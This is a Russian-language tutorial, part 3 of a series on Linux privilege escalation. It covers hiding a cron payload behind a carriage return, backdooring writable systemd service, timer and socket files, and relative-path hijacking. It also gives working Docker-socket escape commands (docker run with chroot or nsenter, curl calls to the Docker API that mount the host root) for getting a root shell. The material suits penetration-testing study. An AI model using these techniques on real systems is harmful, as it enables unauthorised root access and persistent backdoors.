Повышение привилегий в ОС Linux, ч.3
E7|E1tex
Всем привет! В прошлой части мы обсудили немало интересных уязвимостей и способов их перечисления. Не буду затягивать, 3ч. повышения привилегий в ОС Линукс, поехали! В этой статье тебя ждут не менее эффективные способы повысить свои привилегии в системе.
CRON Задачи
В прошлой части мы закончили на задачах CRON, из полезного я бы еще хотел упомянуть способ сокрытия вредоносной части кода в CRON конфиге. Для этого в комментариях внутри конфига(если они есть, если нет- можно сделать свой :>) вписываем наш код. Но так ничего не будет работать, вся фишка заключается в возврате каретки - \r, соответственно пример такого комментария будет таким:
#Какой-то комментарий\r* * * * * echo "Hacker_payload"
На этом наше краткое знакомство со службой CRON пока что закончилось. Следующая тема на очереди - службы.
Службы
Файл .services с возможностью записи
Если файл .services имеет возможность записи, мы можем модифицировать его таким образом, чтобы когда служба будет запущена в следующий раз(например при ребуте), выполнился наш скрипт, который мы заранее загрузили в систему, например:
ExecStart=/any_dir/hacker_script.sh
Бинарники с возможностью записи
Не стоит забывать о проверке бинарников, которые исполняются службами, в некоторых случаях админы забывают о правильной конфигурации таковых, особенно если бинарник кастомный. После изменения файла под наш бэкдор, ждем следующего исполнения бинарника и наш код выполнен, вуаля.
Относительные пути systemd
Вы можете увидеть PATH используемый systemd следующей командой:
systemctl show-environment
Если вы можете записать что-нибудь в одну из папок, которая содержится в пути, это можно использовать для повышения наших привилегий. Вам нужно искать именно относительные пути:
ExecStart=any-server(относительный путь)
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
Напомню, абсолютные пути указывают положение файла или директории относительно директории root, а относительные пути указывают положение файла или директории относительно ващего текущего местоположения в системе. Они не начинаются со слэша!
Эксплуатация уязвимости происходит посредством создания исполняемого файла с тем же именем, что и двоичный файл внутри относительного пути, который доступен для записи в systemd PATH. Когда службе будет предложено выполнить уязвимое действие, наш бэкдор будет выполнен.
Таймеры
Таймер - это systemd юнит файлы формата .timer, они в свою очередь контролируют исполнение фалов .service. Некоторые системы используют таймер, как альтернативу крон задачам. Перечислить таймеры можно командой:
systemctl list-timers --all
Таймеры с возможностью записи
Если вы можете менять таймер, вы можете указать в таймере выполнение уже существующих элементов systemd.unit (например, .service или .target)
Unit=backdoor.service
Таким образом, чтобы нам удалось использовать данную уязвимость вам нужно:
- Найти какой-нибудь модуль systemd (например, .service), который исполняет доступный для записи двоичный файл.
- Найти какой-нибудь модуль systemd, который исполняет файл с относительным путем, и у вас есть права на запись в PATH.
С таймерами пока закончили, переходим к самому интересному - Sockets
Sockets
UDS - Unix Domain Socket. Сокеты в контексте юникс-подобных систем позволяют двум разным процессам взаимодейстовать друг с другом на одной машинке, или на разных, если речь идет о клиент-серверных приложениях.
Сокеты могут конфигурироваться через .socket файлы. В данных .socket файлах можно изменять некоторые интересные параметры:
- ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Эти параметры разные, но все они, грубо говоря, определяют где мы будем слушать наши сокеты(например путь AF_UNIX сокет файла, IPv4/6, прослушиваемый порт, и.т.д.)
- Accept: этот параметр принимает boolean аргумент(True/False). Если True, экземпляр службы будет создаваться для каждого входящего соединения, а передается ему только сокет-соединение. При значении False все прослушиваемые сокеты сами передаются запущенному сервисному модулю, который создается один для всех сокет-подключений. По умолчанию - False.
- ExecStartPre, ExecStartPost: принимает за аргумент одну или более командных строк, которые выполняются до или после создания и привязки прослушиваемых сокетов.
- ExecStopPre, ExecStopPost: дополнительные команды, которые выполняются до или после закрытия и удаления прослушивающих сокетов.
.socket файлы с возможностью записи
Если вы нашли такой файл, вы можете добавить в начало [Socket] блока свой параметр, например ExecStartPost=/home/parrot/sys/tmp/hacker_backdoor, в таком случае наш бэкдор поднимется после создания и привязки сокетов.
*скорее всего придется подождать до ребута машинки*
Так же если вы встретите какой-нибудь сокет с возможностью записи(речь идет не об .socket файлах, а об Юникс Сокетах), вы можете подключиться по этому сокету. Перечислить Юникс Сокеты можно командой:
netstat -a -p --unix
Подключиться к сокетам можно с помощью netcat:
nc -U /tmp/socket #UNIX-domain stream socket
nc -uU /tmp/socket #UNIX-domain datagram socket
HTTP Сокеты
Помните, что некоторые сокеты могут прослушивать и улавливать HTTP реквесты, такие сокеты можно перечислить командой:
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
Docker Сокеты с возможностью записи
По умолчанию докер сокеты можно найти по пути /var/run/docker.sock, обычно они доступны для записи только для рута и юзеров докер-группы, но не исключено, что при конфигурации была допущена ошибка, или вы зашли под юзером, который имеет права на запись. В таком случае следующие команды повысят привилегии:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
Использование docker web API без docker пакетов
Если у вас есть доступ к докер сокетам, но вы не можете использовать бинарник докера, вы можете использовать веб АПИ совместно с курлом.
Пример команд, которые использую докер-контейнер чтобы смонтировать корневую папку хоста и использует socat для выполнения команд в новом докер-контейнере:
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
После успешного выполнения команд нам остается только подключиться к контейнеру по socat, пример:
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
Бэкдор готов.
Если вы находитесь в группе docker, у вас есть намного больше возможностей для повышений привилегий. Но эту тему я распишу поподробней уже в следующей статье.
Всем спасибо за реакции, надеюсь эта статья была полезна для вас! Еще увидимся!